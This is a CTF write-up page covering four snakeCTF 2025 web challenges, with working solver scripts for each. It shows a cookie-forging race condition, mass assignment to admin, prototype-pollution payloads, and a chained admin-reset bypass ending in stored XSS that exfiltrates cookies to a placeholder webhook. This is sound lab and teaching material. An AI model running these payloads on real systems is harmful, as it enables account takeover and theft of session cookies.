> For the complete documentation index, see [llms.txt](https://thienguen.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://thienguen.gitbook.io/ctf-writeups/ctf/2025/snakectf-quals/web.md).

# web

## Challenges

<figure><img src="/files/9ViaJJD2Jd4iUUP5GNIS" alt=""><figcaption></figcaption></figure>

### /b/locked

<figure><img src="/files/twM31sEgRPiQCDUlIaql" alt=""><figcaption></figcaption></figure>

> Time to prove you're not just another... new user.

```bash
❯ unzip -l blocked.zip
Archive:  blocked.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      287  1969-12-31 16:00   Dockerfile
      248  1969-12-31 16:00   docker-compose.yml
     8399  1969-12-31 16:00   index.js
        0  1969-12-31 16:00   lib/
     4867  1969-12-31 16:00   lib/captcha.js
    85037  1969-12-31 16:00   package-lock.json
      404  1969-12-31 16:00   package.json
        0  1969-12-31 16:00   public/
      537  1969-12-31 16:00   public/style.css
     3293  1969-12-31 16:00   public/script.js
        0  1969-12-31 16:00   views/
     1654  1969-12-31 16:00   views/index.ejs
     1461  1969-12-31 16:00   views/page.ejs
---------                     -------
   106187                     13 files
```

tldr; The site tracks “solved” CAPTCHAs by dropping a `solvedCaptchas` cookie containing per-solve tokens stored in SQLite. The protected page re-parses that cookie **in a different format** and then verifies all tokens **concurrently** using a `SELECT … then pbkdf2 … then DELETE` flow.&#x20;

By solving **one** CAPTCHA to get a single token, forging the cookie as `token,token,…` (10×), and hitting `/protected`, all 10 verifications race and succeed before the row is deleted, the elapsed time is \~0s, and the flag is rendered. The EJS view (`views/page.ejs`) prints it (templated as `<%= flag %>`).

```javascript
// server.js – GET /protected
if (timeElapsed <= TIME_LIMIT_SECONDS) {
  res.render('page', {
    flag: process.env.FLAG || "snakeCTF{f4k3_fl4g_f0r_t3st1ng}",
  });
}
```

<figure><img src="/files/qK16SeDMj2Wv9DgCEhFA" alt=""><figcaption></figcaption></figure>

#### How to get there?

You must make `/protected` think you solved **10** CAPTCHAs within **10 seconds**. That page:

1. Reads tokens from the `solvedCaptchas` cookie.
2. Sorts the `solvedAt` timestamps and checks `last - first ≤ 10s`.

We bypass the “ten different solves” requirement by **reusing the same token 10×** and abusing a race so every concurrent verifier counts it before deletion.

<figure><img src="/files/1rMzbAgPCiUYrwMGyDT6" alt=""><figcaption></figcaption></figure>

**The vulnerability?**

**Setter** (on `/api/solve`) serializes as **JSON array**:

<figure><img src="/files/4SI0DW1qliQDwHDFj5lG" alt=""><figcaption></figcaption></figure>

**Reader** (on `/protected`) expects a **comma-separated list**:

<figure><img src="/files/aRLGJGtFklyOUCCUkZB2" alt=""><figcaption></figcaption></figure>

Because of this mismatch, an attacker can supply any comma-separated string (not JSON) and the server will accept it.

Steps:

* **Fetch one CAPTCHA**: `GET /api/captcha` → receive images + `captchaId`.
* **Solve it once** (DO IT manually) 🤷‍♂️. `POST /api/solve { captchaId, solution }`\
  On success the server:
  * Inserts `id=token, hash, salt, solvedAt` into `validHashes`.
  * Sets cookie `solvedCaptchas` to `["<token>"]` (JSON array).
* **Extract the token** from the cookie (`["<token>"]` → `<token>`).
* **Forge the cookie** in the format `/protected` expects (comma list), repeating the same token 10×:

{% tabs %}
{% tab title="solve.py" %}

```python
import json
import re
import sys
from urllib.parse import unquote, urljoin

import requests

USAGE = "usage: python solve.py <BASE_URL> <cookie_or_token>"

def parse_tokens(s: str):
    """Return a list of raw token(s) from a raw token OR urlencoded JSON cookie."""
    s = s.strip()
    if "%" in s:
        s = unquote(s)
    # JSON array or string?
    try:
        j = json.loads(s)
        if isinstance(j, list):
            return [str(t).strip() for t in j if str(t).strip()]
        if isinstance(j, str):
            return [j.strip()] if j.strip() else []
    except Exception:
        pass
    # plain token
    return [s] if s else []

def try_token(base, token):
    forged = ",".join([token] * 10)  # the server splits on commas
    headers = {"Cookie": f"solvedCaptchas={forged}"}
    r = requests.get(urljoin(base, "protected"), headers=headers)
    m = re.search(r"(snakeCTF\{[^}]+\})", r.text, re.I)
    return r.status_code, m.group(1) if m else None, r.text

def main():
    if len(sys.argv) < 3:
        print(USAGE); sys.exit(1)
    base = sys.argv[1].rstrip("/") + "/"
    raw  = sys.argv[2]

    tokens = parse_tokens(raw)
    if not tokens:
        print("[-] no token(s) parsed"); sys.exit(1)
    print(f"[+] parsed {len(tokens)} token(s): {tokens}")

    for i, tok in enumerate(tokens, 1):
        print(f"[+] trying token {i}/{len(tokens)}: {tok}")
        code, flag, body = try_token(base, tok)
        print(f"[+] status: {code}")
        if flag:
            print(f"[+] FLAG: {flag}")
            return
        # helpful diagnostics if cookie didn't land
        if "You need to solve 10 captchas to access this page." in body:
            print("[-] server didn't see your cookie (or threw before parsing).")
        elif "You need to solve 10 captchas to access this page. You have solved" in body:
            print("[-] cookie parsed, but count < 10 (unexpected for duplicate trick).")
        else:
            print(body[:300])
    print("[-] no luck; the token(s) may be consumed. solve one captcha again and retry.")

if __name__ == "__main__":
    main()

```

{% endtab %}

{% tab title="token" %}

<figure><img src="/files/RM2ozmA8iwD37XrI4CP5" alt=""><figcaption></figcaption></figure>
{% endtab %}

{% tab title="output" %}

```bash
❯ python hehe.py http://localhost:3000/ %5B%2271ca8594304215f2818b6f99958d33dd%22%2C%22eff61067ed71fb7e83251e1c3e98af73%22%5D
[+] parsed 2 token(s): ['71ca8594304215f2818b6f99958d33dd', 'eff61067ed71fb7e83251e1c3e98af73']
[+] trying token 1/2: 71ca8594304215f2818b6f99958d33dd
[+] status: 200
[+] FLAG: snakeCTF{f4k3_fl4g_f0r_t3st1ng}
```

<figure><img src="/files/BV1sW2i9MueV2Xj72zr3" alt=""><figcaption></figcaption></figure>
{% endtab %}
{% endtabs %}

### ExploitMe

<figure><img src="/files/IOCY8FSsM4318fwkBYj4" alt=""><figcaption></figcaption></figure>

> Finally! The dating app specifically designed for people who think "getting a shell" is more exciting than getting a phone number.

tldr; Next.js app lets users edit their profile through `/api/edit`. The code **validates** input with `yup` but never calls `.noUnknown()` and later builds the SQL `SET` list from the **keys of the validated object**. That’s a classic **mass-assignment** bug: you can smuggle arbitrary columns (e.g. `is_admin`) into the update.&#x20;

A second bug: `/api/chat/[matchId]/report` lets **any logged-in user** mark **any** chat as reported. The reader for `/api/chat/[matchId]` grants access if you’re **(admin AND reported)**.&#x20;

So: register → onboard → POST `/api/edit` with `{"is_admin":1}` → POST `/api/chat/4/report` → GET `/api/chat/4` → read the messages and extract the flag.

```bash
❯ unzip -l exploitme.zip
Archive:  exploitme.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      258  1980-01-01 00:00   Dockerfile
      405  1980-01-01 00:00   components/Layout.js
      500  1980-01-01 00:00   components/Input.js
      500  1980-01-01 00:00   components/Button.js
     2037  1980-01-01 00:00   components/Logo.js
      240  1980-01-01 00:00   docker-compose.yml
      369  1980-01-01 00:00   eslint.config.mjs
       73  1980-01-01 00:00   jsconfig.json
      651  1980-01-01 00:00   lib/sanitize.js
      220  1980-01-01 00:00   lib/db.js
      118  1980-01-01 00:00   next.config.mjs
   283897  1980-01-01 00:00   package-lock.json
      838  1980-01-01 00:00   package.json
     4095  1980-01-01 00:00   pages/onboarding.js
     4591  1980-01-01 00:00   pages/chat/[matchId].js
     4190  1980-01-01 00:00   pages/explore.js
      888  1980-01-01 00:00   pages/index.js
     2285  1980-01-01 00:00   pages/login.js
     2561  1980-01-01 00:00   pages/register.js
      257  1980-01-01 00:00   pages/_document.js
     3395  1980-01-01 00:00   pages/api/onboarding.js
     1557  1980-01-01 00:00   pages/api/chat/[matchId]/report.js
     2592  1980-01-01 00:00   pages/api/chat/[matchId]/index.js
     1530  1980-01-01 00:00   pages/api/login.js
     1694  1980-01-01 00:00   pages/api/users.js
     1665  1980-01-01 00:00   pages/api/register.js
     1783  1980-01-01 00:00   pages/api/users/[username].js
     2209  1980-01-01 00:00   pages/api/match-status.js
     2408  1980-01-01 00:00   pages/api/like.js
     1313  1980-01-01 00:00   pages/api/onboarding/check.js
     2517  1980-01-01 00:00   pages/api/edit.js
     7054  1980-01-01 00:00   pages/users/[username].js
      216  1980-01-01 00:00   pages/_app.js
       81  1980-01-01 00:00   postcss.config.mjs
   454660  1980-01-01 00:00   public/dude.png
   847116  1980-01-01 00:00   public/admin1.png
    37683  1980-01-01 00:00   public/admin.png
   916023  1980-01-01 00:00   public/priest.png
    47400  1980-01-01 00:00   public/bepi.webp
     9028  1980-01-01 00:00   scripts/run-migrations.js
       93  1980-01-01 00:00   styles/globals.css
---------                     -------
  2650990                     41 files
```

Where is the flag? I first able to identified it in the seed file of this narnia db

<figure><img src="/files/0uYqFA7aOPRfnlQHEKYJ" alt=""><figcaption></figcaption></figure>

And to expose it, we have to invoke this lil rat with some permission

```javascript
// pages/api/chat/[matchId]/index.js
const messages = await db.all(
  'SELECT id, match_id, sender_id, content, created_at FROM messages WHERE match_id = ? ORDER BY created_at ASC',
  matchId
);
```

#### How to get there?&#x20;

1. **Create an account** → receive a JWT.
2. **Finish onboarding** so `/api/edit` is allowed.
3. **Mass-assign admin** via `/api/edit` by including `is_admin: 1` in the JSON body.
4. **Report** the target match via `/api/chat/4/report` (no membership check).
5. **Read** `/api/chat/4` as an admin of a **reported** match and grab the flag from the returned messages.

Who is responsible for this vulnerability?

{% tabs %}
{% tab title="edit.js" %}

```javascript
// pages/api/edit.js
const editProfileSchema = yup.object().shape({
  role: yup.string().oneOf(['WHITE_HAT','BLACK_HAT','GREY_HAT']),
  /* … many allowed fields … */
  yt_embed: yup.string().url(),
});

validated = await editProfileSchema.validate(req.body, { abortEarly: false });
// ❌ no .noUnknown(), so extra keys survive validation

const setClause = Object.keys(validated).map(field => `"${field}" = ?`).join(', ');
const values    = Object.values(validated);
await db.run(`UPDATE users SET ${setClause} WHERE id = ?`, ...values, userId);
```

{% endtab %}

{% tab title="report" %}

```javascript
// pages/api/chat/[matchId]/report.js
const match = await db.get('SELECT id FROM matches WHERE id = ?', matchId);
// ❌ updates any match; does not require user1_id/user2_id membership
await db.run('UPDATE matches SET is_reported = 1 WHERE id = ?', matchId);
```

{% endtab %}

{% tab title="reader" %}

```javascript
// pages/api/chat/[matchId]/index.js
const match = await db.get('SELECT id, user1_id, user2_id, is_reported FROM matches WHERE id = ?', matchId);
const currentUser = await db.get('SELECT is_admin FROM users WHERE id = ?', userId);

if (match.user1_id !== userId && match.user2_id !== userId) {
  if (!(currentUser && currentUser.is_admin && match.is_reported)) {
    return res.status(403).json({ message: 'Forbidden' });
  }
}
```

{% endtab %}
{% endtabs %}

Because unknown keys aren’t stripped/rejected, sending `{"is_admin":1}` ends up in `validated`, then in `SET "is_admin" = ?`. Thats why if you’re **admin** and the match is **reported**, you may read that chat even if you’re not part of it. (read the chat 4 where they have the flag). But make sure you finished the onboard process first 🤷‍😭.

{% tabs %}
{% tab title="solve.py" %}

```python
#!/usr/bin/env python3
import re, random, string, requests

BASE = "http://localhost:3000/"
MATCH_ID = "4"

def rname(n=8): return "u" + "".join(random.choice(string.ascii_lowercase) for _ in range(n))

def must_ok(resp):
    if resp.status_code >= 400:
        print(f"[!] {resp.request.method} {resp.request.url} -> {resp.status_code}")
        print(resp.text)
    resp.raise_for_status()
    return resp

def main():
    s = requests.Session()

    # 1 register
    u = rname()
    r = must_ok(s.post(BASE + "api/register",
                       json={"username": u, "email": f"{u}@ex.am", "password": "pass123"}))
    jwt = r.json()["token"]
    H = {"Authorization": f"Bearer {jwt}"}
    print("[+] registered:", u)

    # 2 onboard (include touches_grass!)
    onboard = {
        "role":"WHITE_HAT",
        "looking_for":"BLACK_HAT",
        "age":20,
        "likes":["a"],
        "dislikes":["b"],
        "bio":"x",
        "location":"net",
        "hacks":["c"],
        "favorite_hacker":"x",
        "favorite_song":"x",
        "favorite_movie":"x",
        "touches_grass": False
    }
    must_ok(s.post(BASE + "api/onboarding", json=onboard, headers=H))
    print("[+] onboarded")

    # 3 mass-assign admin via /api/edit
    must_ok(s.post(BASE + "api/edit", json={"is_admin": 1}, headers=H))
    print("[+] now admin")

    # 4 report target chat (no membership required)
    must_ok(s.post(BASE + f"api/chat/{MATCH_ID}/report", headers=H))
    print("[+] match reported")

    # 5 read chat & extract flag
    r = must_ok(s.get(BASE + f"api/chat/{MATCH_ID}", headers=H))
    msgs = " ".join(m.get("content","") for m in r.json().get("messages", []))
    m = re.search(r"(snakeCTF\{[^}]+\})", msgs, re.I)
    print("[+] FLAG:", m.group(1) if m else msgs)

main()
```

{% endtab %}

{% tab title="stdout" %}

```bash
❯ python solve.py
[+] registered: uymxacygu
[+] onboarded
[+] now admin
[+] match reported
[+] FLAG: snakeCTF{f4ke_fl4g_f0r_t3st1ng}
```

{% endtab %}
{% endtabs %}

### Boxbin

<figure><img src="/files/j0umyLdzA6NhenshvsJJ" alt=""><figcaption></figcaption></figure>

> 🎵 You're on Boxbin, you're on Boxbin... 🎵 Welcome to Boxbin, the totally-not-suspicious platform for sharing your hatred against any kind of box!

Paste these in the console of the site. I'm so lazy at this point

```javascript
localStorage.removeItem('token');

GQL(`mutation($u:String!,$p:String!){
  signup(username:$u, password:$p)
}`, { u: `t_${Date.now()}`, p: "p@ssw0rd" })
.then(r => {
  console.log(r);
  const tok = r.data?.signup;     // <— scalar string
  if (tok) localStorage.setItem('token', tok);
});

##### WORKING SO FAR

// --- auto-pick the working GraphQL endpoint and auth style ---
const TOKEN = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEwLCJpYXQiOjE3NTY0OTQ4MDl9.ZTGXB9kn4s4JfFOaC4LW7qG5j87ocPzQBDvoe-NXRm4';
localStorage.setItem('token', TOKEN);
document.cookie = `token=${TOKEN}; Path=/; SameSite=Lax`;

async function pickEndpoint() {
  for (const ep of ['/api/graphql', '/graphql']) {
    const r = await fetch(ep, {
      method: 'POST',
      headers: { 'content-type': 'application/json', 'authorization': TOKEN },
      credentials: 'include',
      body: JSON.stringify({ query: '{ __typename: __schema { queryType { name } } }' })
    });
    if (r.ok) return ep;
  }
  throw new Error('No working GraphQL endpoint (got 404s)');
}

const EP = await pickEndpoint();
console.log('Using endpoint:', EP);

const GQL = (q, vars) =>
  fetch(EP, {
    method: 'POST',
    headers: { 'content-type': 'application/json', 'authorization': TOKEN }, // <— NO "Bearer "
    credentials: 'include',
    body: JSON.stringify(vars ? { query: q, variables: vars } : { query: q })
  }).then(async r => r.ok ? r.json() : Promise.reject(new Error(await r.text())));

// sanity: should show your user, not null
console.log(await GQL(`{ me { id username isAdmin groupId } }`));

// 1 baseline
console.log(await GQL(`{ me { id username isAdmin groupId } }`));
console.log(await GQL(`{ userSettings }`));

// 2 try a few PP payloads
const payloads = [
  {"__proto__":{"isAdmin":true,"groupId":1,"canViewHidden":true}},
  {"constructor":{"prototype":{"isAdmin":true,"groupId":1,"canViewHidden":true}}},
  {"isAdmin":true,"groupId":1,"canViewHidden":true}
];

for (const p of payloads) {
  console.log('set', p);
  console.log(await GQL(`mutation($s:String!){ updateSettings(settings:$s) }`,
    { s: JSON.stringify(p) }));

  // 3 re-check and then try the gated query
  console.log(await GQL(`{ userSettings }`));
  console.log(await GQL(`{ me { id isAdmin groupId } }`));
  console.log(await GQL(`{ hiddenPosts { id title author{username} content } }`));
}

```

### SPAM&#x20;

<figure><img src="/files/0mvpG85CEt00d21VIz76" alt=""><figcaption></figcaption></figure>

> The Italian government's latest digital authentication masterpiece. Built by the lowest bidder with the highest confidence. What could go wrong?

**TL;DR:** Chain four bugs to run XSS in the admin bot and steal the flag. First, a missing `await` in password-reset makes any reset token “valid,” letting you reset the **admin** (user 0). With admin creds, abuse a broken authorization check to self-assign the **System** group.&#x20;

That unlocks an internal `/api/internal/sync` endpoint where profile fields aren’t sanitized—inject a `<script>` payload. The “test” service renders that profile verbatim, so when the bot views it, your JS executes in the bot’s browser and exfiltrates its cookies (flag).

The challenge is to make the bot visit a page where your JavaScript runs and reads `document.cookie` to exfiltrate that flag.

<figure><img src="/files/Rsw0yB5AjYo6XVJmQkmy" alt=""><figcaption></figcaption></figure>

```javascript
const tokenData = db.get(“SELECT * FROM PasswordResetTokens WHERE token = ?”, token);
```

This lets you reset the admin’s password without a valid token, effectively an auth bypass.

After takeover, you can: Promote yourself to System via IDP Actions (assignGroup). Use the System-only sync endpoint to write unsensitized profile fields. Some webhook shenanigans.

```bash
curl -s 'http://localhost:3000/api/auth/signin' \
  -H 'Content-Type: application/json' \
  -d '{"email":"admin@spam.gov.it","password":"A1?AdminPwd123"}'
  
curl -X PATCH 'http://localhost:3000/api/auth/forgot' \                                              
  -H 'Content-Type: application/json' \
  -d '{"token":"anything","newPassword":"A1?AdminPwd123"}'
  
curl -X POST 'http://localhost:3000/api/actions' \   
  -H "Authorization: Bearer $ADMIN_JWT" -H 'Content-Type: application/json' \
  -d '{"action":"assignGroup","params":{"userId":0,"groupId":0}}'
  
curl -X POST 'http://localhost:3000/api/internal/sync?id=0' \
  -H "Authorization: Bearer $EXT0" -H 'Content-Type: application/json' \
  -d '{"firstName":"<script>fetch(`https://YOUR_WEB_HOOK/?c=${encodeURIComponent(document.cookie)}`)</script>"}'
  
curl -X POST 'http://localhost:3000/api/internal/sync?id=0' \
  -H "Authorization: Bearer $EXT0" -H 'Content-Type: application/json' \
  -d '{"firstName":"<script>fetch(`https://YOUR_WEB_HOOK/?c=${encodeURIComponent(document.cookie)}`)</script>"}'
```

<figure><img src="/files/5f9VemB0GUOVXluXj2V4" alt=""><figcaption></figcaption></figure>

* <mark style="color:$success;">**`snakeCTF{42m_3ur0s_w3ll_sp3nt_0n_s3cur1ty_f369f85ee7ed56f6}`**</mark>
